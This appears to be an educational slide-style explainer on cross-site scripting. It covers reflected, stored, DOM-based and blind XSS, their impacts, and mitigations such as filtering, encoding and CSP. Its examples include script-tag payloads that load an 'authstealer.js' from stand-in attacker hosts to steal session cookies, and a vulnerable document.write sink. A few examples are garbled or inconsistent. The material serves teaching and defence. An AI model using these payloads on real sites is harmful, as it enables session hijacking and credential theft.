CROSS-SITE SCRIPTING (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which

malicious scripts are injected into otherwise benign and trusted
websites.
XSS attacks occur when an attacker uses a web application to send
malicious code, generally in the form of a browser side script, to a
different end user.
Flaws that allow these attacks to succeed are quite widespread and
occur anywhere a web application uses input from a user within the
output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an
unsuspecting user.
The end user’s browser has no way to know that the script should
not be trusted, and will execute the script.
Because it thinks the script came from a trusted source, the
malicious script can access any cookies, session tokens, or other
sensitive information retained by the browser and used with that
site. These scripts can even rewrite the content of the HTML page.
What can XSS be used for?
• Impersonate or masquerade as the victim user.
• Carry out any action that the user is able to perform.
• Read any data that the user is able to access.
• Capture the user's login credentials.
• Perform virtual defacement of the web site.
• Inject trojan functionality into the web site.

1
TYPES OF XSS
1.Reflected XSS (AKA Non-Persistent or Type I)
Reflected XSS attacks occur when a malicious script is reflected off
of a web application to the victim’s browser.
The script is activated through a link, which sends a request to a
website with a vulnerability that enables execution of malicious
scripts. The vulnerability is typically a result of incoming requests
not being sufficiently sanitized, which allows for the manipulation
of a web application’s functions and the activation of malicious
scripts.
To distribute the malicious link, a perpetrator typically embeds it
into an email or third-party website (e.g., in a comment section or in
social media). The link is embedded inside an anchor text that
provokes the user to clicking on the it, which initiates the XSS
request to an exploited website, reflecting the attack back to the
user.

2
EXAMPLE
While visiting a forum site that requires users to log in to their
account, a perpetrator executes this search query <script
type=’text/javascript’>alert(‘xss’) ;</script> causing the following
things to occur:
1. The query produces an alert box saying: “XSS”.
2. The page displays: “<script type=’text/javascript’>alert(‘XSS’)
;</script > not found.”
3. The page’s URL reads http://ecommerce.com?q=<script
type=”text/javascript”>alert(‘XSS’); </script>.
This tells the perpetrator that the website is vulnerable. Next, he
creates his own URL, which
reads http://forum.com?q=news<\script%20src=”
http://hackersite.com/authstealer.js” and embeds it as a link into
a seemingly harmless email, which he sends to a group of forum
users.
While the sending address and subject line may appear suspect to
some, it does not mean that it won’t be clicked on.
In fact, even if only one in every 1,000 recipients of the email click
on the link, that still amounts to several dozen infected forum
users. They will be taken to the forum’s website, where the
malicious script will be reflected back to their browser, enabling the
perpetrator to steal their session cookies and hijack their forum
accounts.

3
2.Stored XSS (AKA Persistent or Type II)
Stored Cross-Site Scripting vulnerabilities are common in
Web-based applications that support interaction between end-users
or administrative staff access user records and data within the
same application. This vulnerability arises when data submitted by
one user is stored in the application (typically in a back-end
database) and displayed to other users without being filtered or
sanitized appropriately.
Attacks against stored XSS vulnerabilities typically involve at least
two requests to the application. In the first request, the attacker
posts some crafted data containing malicious code that the
application holds. In the second request, a victim views a page
containing the attacker’s data, and the malicious code is executed
when the script is performed in the victim’s browser.

1.An attacker sends the malicious script in the form of a file.

4
2.It gets stored in the Website Database, if the element in the web
application is not sanitized
3.Normal User or Victim tries to use the functionality of web
application, but the malicious scripts get executed as it is already
stored in Database, and the cookies or session is stolen by the
attacker

EXAMPLE
While browsing an auction website, an attacker discovers a
vulnerability that allows HTML tags to be embedded in the site’s
comments section. Suppose an attacker can post a comment
containing embedded JavaScript, and the application does not filter
or sanitize this. In that case, an attacker can post a crafted
comment that causes arbitrary scripts to execute within the
browser of anyone who views the comment, including both the
seller and other potential buyers.
As the data inputted in the comment box is saved in the database,
if another user requests comment data, the malicious script is
returned as a response to the user.
The attacker adds the following comment: Great Auction Website!
Read my review here
<script src=” http://hackersitelink.com/authstealer.js”>
</script>.
• From this, every time the page is accessed, the HTML tag in
the comment will activate a JavaScript file hosted on another
site and steal visitors’ session data.
• Using the session cookie, the attacker can easily compromise
the victim’s sensitive data and take over the victim’s account
or steal some precious assets from the visitor’s understanding.
• As in a reflected attack, where the script is activated after a
link is clicked, a stored attack only requires that the victim
5
 visit the compromised web page or web element. Stored XSS
increases the impact to severity as it directly holds the XSS
payload in the database.
3.DOM-based XSS (AKA Type-0)
DOM XSS stands for Document Object Model-based Cross-site
Scripting. DOM-based vulnerabilities occur in the content
processing stage performed on the client, typically in client-side
JavaScript.
DOM-based XSS works similar to reflected XSS one — attacker
manipulates client’s browser environment (Document Object Model)
and places payload into page content. The main difference is, that
since the malicious payload is stored in the browser environment, it
may be not sent on the server-side. This way all protection
mechanisms related to traffic analysis will fail.
In reflective and stored Cross-site scripting attacks you can see the
vulnerability malicious script in the response page but in
DOM-based cross-site scripting, the HTML source code and the
response of the attack will be the same, i.e., the malicious script
cannot be found in the response from the web server.
In a DOM-based XSS attack, the malicious string is not parsed by
the victim’s browser until the website’s legitimate JavaScript is
executed. To perform a DOM-based XSS attack, you need to place
data into a source so that it is propagated to a sink and causes the
execution of arbitrary JavaScript code
1.An attacker crafts the URL and sends it to a victim.
2.The victim clicks on it and the request goes to the server.
3.The server response contains the hard-coded JavaScript.
4.The attacker’s URL is processed by hard-coded JavaScript,
triggering his payload.
5.The victim’s browser sends the cookies to the attacker.
6.Attacker hijacks user’s session.
6
EXAMPLE
The following is a basic example of a DOM-based Cross-site
Scripting vulnerability.
The http://www.example.com/userdashboard.html page is
customized based on the user name. The user name is encoded in
the URL and used directly on the resulting page:
<html>
<head>
<title>Custom Dashboard </title>
...
</head>
Main Dashboard for
<script>
7
 var pos=document.URL.indexOf("context=")+8;
document.write(document.URL.substring(pos,document.URL.l
ength));
</script>
...
</html>
For example,
http://www.example.com/userdashboard.html?context=Mary is a
dashboard customized for Mary. It contains the string Main
Dashboard for Mary at the top.
Here is how one can perform:
1. The attacker embeds a malicious script in the
URL: http://www.example.com/userdashboard.html#context=
<script>SomeFunction(somevariable)</script>.
2. The victim’s browser receives this URL, sends an HTTP request
to http://www.example.com, and receives the static HTML
page.
3. The browser starts building the DOM of the page and
populates the document.URL property with the URL from step
1.
4. The browser parses the HTML page, reaches the script, and
runs it, extracting the malicious content from
the document.URL property.
5. The browser updates the raw HTML body of the page to
contain: Main Dashboard for
<script>SomeFunction(somevariable)</script>.
6. The browser finds the JavaScript code in the HTML body and
executes it.

8
4.BLIND XSS
Blind XSS is quite similar to stored Cross-Site Scripting attack
where the input provided by the attacker is saved or stored by the
web server and this stored input is reflected in various other
applications which are linked with each other. It only triggers when
the attacker’s input is stored by the web server in a database and
executed as a malicious script in another part of the application or
another application.
Attackers or Hackers inject the malicious script or payload ‘blindly’
on some web pages without having any assurance that it will be
executing. Web pages that are likely to save their payload into the
database are the most important carrier for Blind XSS attacks.
If the contact form is the part of the webpage and has to store its
data to web server or database, then here the attackers come with
his attack. The attacker injects code in contact forms and waits for
the server-side user or team member to open or trigger that
malicious code or payload to execute.
Blind XSS is a Persistent(stored) Cross-site Scripting Attack. It’s a
Different challenge. It’s not like Blind SQLI where you get rapid
feedback. You have no idea where your malicious scripts are going
to end up

9
IMPACT OF CROSS-SITE SCRIPTING VULNERABILITY
The impact of cross-site scripting vulnerabilities can vary from one
web application to another. It ranges from session hijacking to
credential theft and other security vulnerabilities. By exploiting a
cross-site scripting vulnerability, an attacker can impersonate a
legitimate user and take over their account.
If the victim user has administrative privileges, it might lead to
severe damage such as modifications in code or databases to
further weaken the security of the web application, depending on
the rights of the account and the web application.
Here are some of the most common impacts of cross-site
scripting attacks:
1.Account Hijacking
Attackers often steal session cookies in the browser to hijack
legitimate user accounts. This allows attackers to take over the
victim's session and access any functionality or sensitive
information on their behalf.
Assuming a malicious actor managed to steal the session cookies of
an administrative account, the attacker can gain administrative
access to the entire web application.
2.Credential Theft
One of the most common XSS attack vectors is to use HTML and
JavaScript in order to steal user credentials. Attackers can clone
the login page of the web application and then use cross-site
scripting vulnerabilities to serve it to the victims.
When a victim uses the vulnerable web page and inputs their
credentials, they are forwarded to a server under the attacker’s
control. This way, attackers can obtain the credentials of a user in
plaintext instead of hacking their session cookies, which may
expire.

10
3.Data Leakage
Another powerful XSS attack vector is exfiltrating sensitive data,
such as social security numbers, personally identifiable information
(PII), or credit card info, and performing unauthorized operations,
such as bank transactions.
Once the attacker has access to the personal or sensitive
information of users, they can demand ransom payments from the
organization to delete the data, or leak the information of their
customers.

SOME TECHNIQUES TO PROTECT FROM CROSS-SITE

SCRIPTING ISSUES
1. Blacklist filtering
It is easy to implement a filtering technique that protects the
website from XSS issues only partially. It works based on a known
list of finite XSS vectors.
For example, most XSS vectors use event listener attributes such
as onerror, onmouseover, onkeypress etc., Using this fact, users
given HTML attributes can be parsed and these event listeners
attributes. This will mitigate a finite set of XSS vectors such as <img
src=x onerror=alert()>.
For vectors like <a href=”javascript:alert()”>XSS</a>, one may
remove javascript:, data:, vbscript: schemes from user given HTML.

2. Whitelist Filtering
11
Whitelist filtering is the opposite of blacklist-based filtering. Instead
of listing out unsafe attributes and sanitizing user HTML with this
list, whitelist filtering lists out a set of set HTML tags and
attributes. Entities that are known to be sure safe are maintained
and everything else will be filtered out.
This reduces XSS possibilities to the maximum extent and opens up
XSS only when there is a loophole in the filter itself that treats some
unsafe entities as safe. This filtering can be done both in the Client
and server-side. Whitelist filtering is the most commonly used filter
in modern web applications.

3. Contextual Encoding
The other common mitigation technique is to consider all user given
data as textual data and not HTML content, even if it is an HTML
content. This can be done performing HTML entity encoding on user
data. Encoding <h1>test</h1> may get converted to
<pre>&lt;test&gt; test &lt;/&gt;</pre> The browser will then parse
this correctly and render <h1>test</h1> as text instead of
rendering it as h1 HTML tag.

12
4. Input Validation
In the Input validation technique, a regular expression is applied for
every request parameter data i.e., user-generated content. Only if
the content passes through a safe regular expression, it is then
allowed. Otherwise, the request will be failed on the server-side with
400 response code.

5. Content Security Policy

The modern browser allows using of CSP or Content Security Policy
Headers. With these headers, one can specify a list of domains only
from which JavaScript content can be loaded. If the user tries to
add a vulnerable JavaScript, CSP headers will block the request.

REFERENCE
https://www.geeksforgeeks.org/cross-site-scripting-xss-prevention-
techniques/
https://www.acunetix.com/websitesecurity/xss/
https://owasp.org/www-community/Types_of_Cross-Site_Scripting
https://portswigger.net/web-security/cross-site-scripting

13